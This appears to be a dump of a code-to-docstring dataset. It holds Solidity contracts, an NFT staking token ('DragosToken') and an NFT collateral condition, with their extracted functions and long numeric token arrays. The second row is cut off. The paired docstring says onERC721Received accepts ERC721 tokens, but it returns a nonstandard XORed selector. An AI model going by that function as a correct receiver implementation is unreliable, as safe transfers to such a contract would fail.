* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/Context
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Part: OpenZeppelin/[email protected]/IERC20
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/[email protected]/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// Part: OpenZeppelin/[email protected]/ERC20
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: DragosContract.sol
contract DragosToken is Ownable, ERC20("DragosToken", "DRGSTKN") {
using SafeMath for uint256;
mapping(uint256 => address) public addressOfDragosStaker;
mapping(uint256 => uint256) public tokenStakePayout;
mapping(address => uint256[]) public dragosStakedAddress;
mapping(address => uint256) public dragosAddressStakeLength;
mapping(uint256 => uint256) public dragosClaimDate;
mapping(uint256 => uint256) public dragosStakeDate;
bool public stakingOpen;
uint256[] stakeLengths = [
1 days,
30 days,
60 days
];
uint256[] rewardRates = [
1,
30,
120
];
IDragos public dragosContract;
event RewardPaid(address indexed user, uint256 reward);
constructor() {
dragosContract = IDragos(0xB0858AC51bca73c11BA3203712E319b7C45b0896);
}
// Necessary function letting the sending contract know this contract
// Is prepared to hold an ERC721 token
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) public pure returns (bytes4) {
return this.onERC721Received.selector ^ 0x23b872dd;
}
function stakeDragos(uint256[] memory dragosTokenId, uint256 stakingTypeIndex) external
{
require(stakingOpen, "Staking is not open");
uint256 claimDate = block.timestamp + stakeLengths[stakingTypeIndex - 1];
uint256 reward = rewardRates[stakingTypeIndex - 1];
address from = _msgSender();
for(uint256 i = 0; i < dragosTokenId.length; i++)
{
require(dragosContract.ownerOf(dragosTokenId[i]) == from, "You don't own that Dragos");
dragosContract.transferFrom(from, address(this), dragosTokenId[i]);
dragosStakedAddress[from].push(dragosTokenId[i]);
dragosAddressStakeLength[from]++;
tokenStakePayout[dragosTokenId[i]] = reward;
addressOfDragosStaker[dragosTokenId[i]] = from;
if(stakingTypeIndex > 1)
{
dragosClaimDate[dragosTokenId[i]] = claimDate;
}
dragosStakeDate[dragosTokenId[i]] = block.timestamp;
}
}
function calculateReward(uint256 tokenId) internal view returns(uint256)
{
uint256 payout;
if(tokenStakePayout[tokenId] == 1)
{
payout = (((block.timestamp - dragosStakeDate[tokenId]) * 1 ether) / 1 days) / 2;
if(payout > (29 * 1 ether))
{
payout = 29 * 1 ether;
}
}
else{
return tokenStakePayout[tokenId] * 1 ether;
}
return payout;
}
function claimDragos(uint256[] memory dragosTokenId) external
{
uint256 reward;
address _to = _msgSender();
for(uint256 i = 0; i < dragosTokenId.length; i++)
{
require(addressOfDragosStaker[dragosTokenId[i]] == _to, "You are not the staker of this Dragos");
require(block.timestamp >= dragosClaimDate[dragosTokenId[i]], "Dragos cannot be unstaked yet");
reward += calculateReward(dragosTokenId[i]);
delete tokenStakePayout[dragosTokenId[i]];
delete addressOfDragosStaker[dragosTokenId[i]];
delete dragosClaimDate[dragosTokenId[i]];
delete dragosStakeDate[dragosTokenId[i]];
dragosContract.transferFrom(address(this), _to, dragosTokenId[i]);
}
_mint(_to, reward);
emit RewardPaid(_to, reward);
}
function hasDragosBeenStaked(uint256 tokenId) public view returns(bool)
{
if(addressOfDragosStaker[tokenId] == address(0))
{
return false;
}
return true;
}
function currentTime() external view returns(uint256){
return block.timestamp;
}
function dragosUnstakeTime(uint256 tokenId) external view returns(uint256){
require(dragosClaimDate[tokenId] > 0, "Dragos has not been staked");
return dragosClaimDate[tokenId];
}
function setStakingOpen() external onlyOwner {
stakingOpen = !stakingOpen;
}
function setDragosContract(address _address) public onlyOwner {
dragosContract = IDragos(_address);
}
function burn(address _from, uint256 _amount) external {
require(_from == _msgSender(), "You do not own those tokens");
_burn(_from, _amount);
}
} | Necessary function letting the sending contract know this contract Is prepared to hold an ERC721 token | function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) public pure returns (bytes4) {
return this.onERC721Received.selector ^ 0x23b872dd;
}
| 2,263,300 | [
1,
23961,
445,
2231,
1787,
326,
5431,
6835,
5055,
333,
6835,
2585,
8208,
358,
6887,
392,
4232,
39,
27,
5340,
1147,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
603,
654,
39,
27,
5340,
8872,
12,
203,
3639,
1758,
3726,
16,
203,
3639,
1758,
628,
16,
203,
3639,
2254,
5034,
1147,
548,
16,
203,
3639,
1731,
745,
892,
501,
203,
565,
262,
1071,
16618,
1135,
261,
3890,
24,
13,
288,
203,
3639,
327,
333,
18,
265,
654,
39,
27,
5340,
8872,
18,
9663,
3602,
374,
92,
4366,
70,
28,
9060,
449,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.8.0;
// Copyright 2020 Keyko GmbH.
// SPDX-License-Identifier: (Apache-2.0 AND CC-BY-4.0)
// Code is Apache-2.0 and docs are CC-BY-4.0
import '../Condition.sol';
import '../../registry/DIDRegistry.sol';
import '../defi/aave/AaveCreditVault.sol';
import '@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol';
/**
* @title Distribute NFT Collateral Condition
* @author Keyko
*
* @dev Implementation of a condition allowing to transfer a NFT
* to an account or another depending on the final state of a lock condition
*/
contract DistributeNFTCollateralCondition is Condition, ReentrancyGuardUpgradeable {
bytes32 private constant CONDITION_TYPE = keccak256('DistributeNFTCollateralCondition');
AaveCreditVault internal aaveCreditVault;
address private _lockConditionAddress;
event Fulfilled(
bytes32 indexed _agreementId,
bytes32 indexed _did,
address indexed _receiver,
bytes32 _conditionId,
address _contract
);
/**
* @notice initialize init the contract with the following parameters
* @dev this function is called only once during the contract
* initialization.
* @param _owner contract's owner account address
* @param _conditionStoreManagerAddress condition store manager address
* @param _lockNFTConditionAddress Lock NFT Condition address
*/
function initialize(
address _owner,
address _conditionStoreManagerAddress,
address _lockNFTConditionAddress
)
external
initializer()
{
require(
_owner != address(0) &&
_conditionStoreManagerAddress != address(0) &&
_lockNFTConditionAddress != address(0),
'Invalid address'
);
OwnableUpgradeable.__Ownable_init();
transferOwnership(_owner);
conditionStoreManager = ConditionStoreManager(
_conditionStoreManagerAddress
);
_lockConditionAddress = _lockNFTConditionAddress;
}
/**
* @notice hashValues generates the hash of condition inputs
* with the following parameters
* @param _did refers to the DID in which secret store will issue the decryption keys
* @param _vaultAddress The contract address of the vault
* @param _nftContractAddress NFT contract to use
* @return bytes32 hash of all these values
*/
function hashValues(
bytes32 _did,
address _vaultAddress,
address _nftContractAddress
)
public
pure
returns (bytes32)
{
return keccak256(
abi.encode(
CONDITION_TYPE,
_did,
_vaultAddress,
_nftContractAddress
)
);
}
/**
* @notice fulfill the transfer NFT condition
* @dev Fulfill method transfer a certain amount of NFTs
* to the _nftReceiver address.
* When true then fulfill the condition
* @param _agreementId agreement identifier
* @param _did refers to the DID in which secret store will issue the decryption keys
* @param _vaultAddress The contract address of the vault
* @param _nftContractAddress NFT contract to use
* @return condition state (Fulfilled/Aborted)
*/
function fulfill(
bytes32 _agreementId,
bytes32 _did,
address _vaultAddress,
address _nftContractAddress
)
public
nonReentrant
returns (ConditionStoreLibrary.ConditionState)
{
AaveCreditVault vault = AaveCreditVault(_vaultAddress);
require(vault.isBorrower(msg.sender) || vault.isLender(msg.sender),
'Invalid users'
);
ConditionStoreLibrary.ConditionState lockConditionState;
(,lockConditionState,,,,,,) = conditionStoreManager
.getCondition(vault.repayConditionId());
IERC721Upgradeable token = IERC721Upgradeable(_nftContractAddress);
require(
(_vaultAddress == token.ownerOf(uint256(_did))),
'Not enough balance'
);
bytes32 _id = generateId(
_agreementId,
hashValues(_did, _vaultAddress, _nftContractAddress)
);
if (lockConditionState == ConditionStoreLibrary.ConditionState.Fulfilled) {
vault.transferNFT(uint256(_did), vault.borrower());
emit Fulfilled(_agreementId, _did, vault.borrower(), _id, _nftContractAddress);
} else if (lockConditionState == ConditionStoreLibrary.ConditionState.Aborted) {
vault.transferNFT(uint256(_did), vault.lender());
emit Fulfilled(_agreementId, _did, vault.lender(), _id, _nftContractAddress);
} else {
require(false, 'Still not fulfilled or aborted');
}
return super.fulfill(_id, ConditionStoreLibrary.ConditionState.Fulfilled);
}
}
| * @notice hashValues generates the hash of condition inputs with the following parameters @param _did refers to the DID in which secret store will issue the decryption keys @param _vaultAddress The contract address of the vault @param _nftContractAddress NFT contract to use @return bytes32 hash of all these values/ | function hashValues(
bytes32 _did,
address _vaultAddress,
address _nftContractAddress
)
public
pure
returns (bytes32)
{
return keccak256(
abi.encode(
CONDITION_TYPE,
_did,
_vaultAddress,
_nftContractAddress
)
);
}
| 1,759,833 | [
1,
2816,
1972,
6026,
326,
1651,
434,
2269,
4540,
3639,
598,
326,
3751,
1472,
225,
389,
14044,
21368,
358,
326,
463,
734,
316,
1492,
4001,
1707,
903,
5672,
326,
27906,
1311,
225,
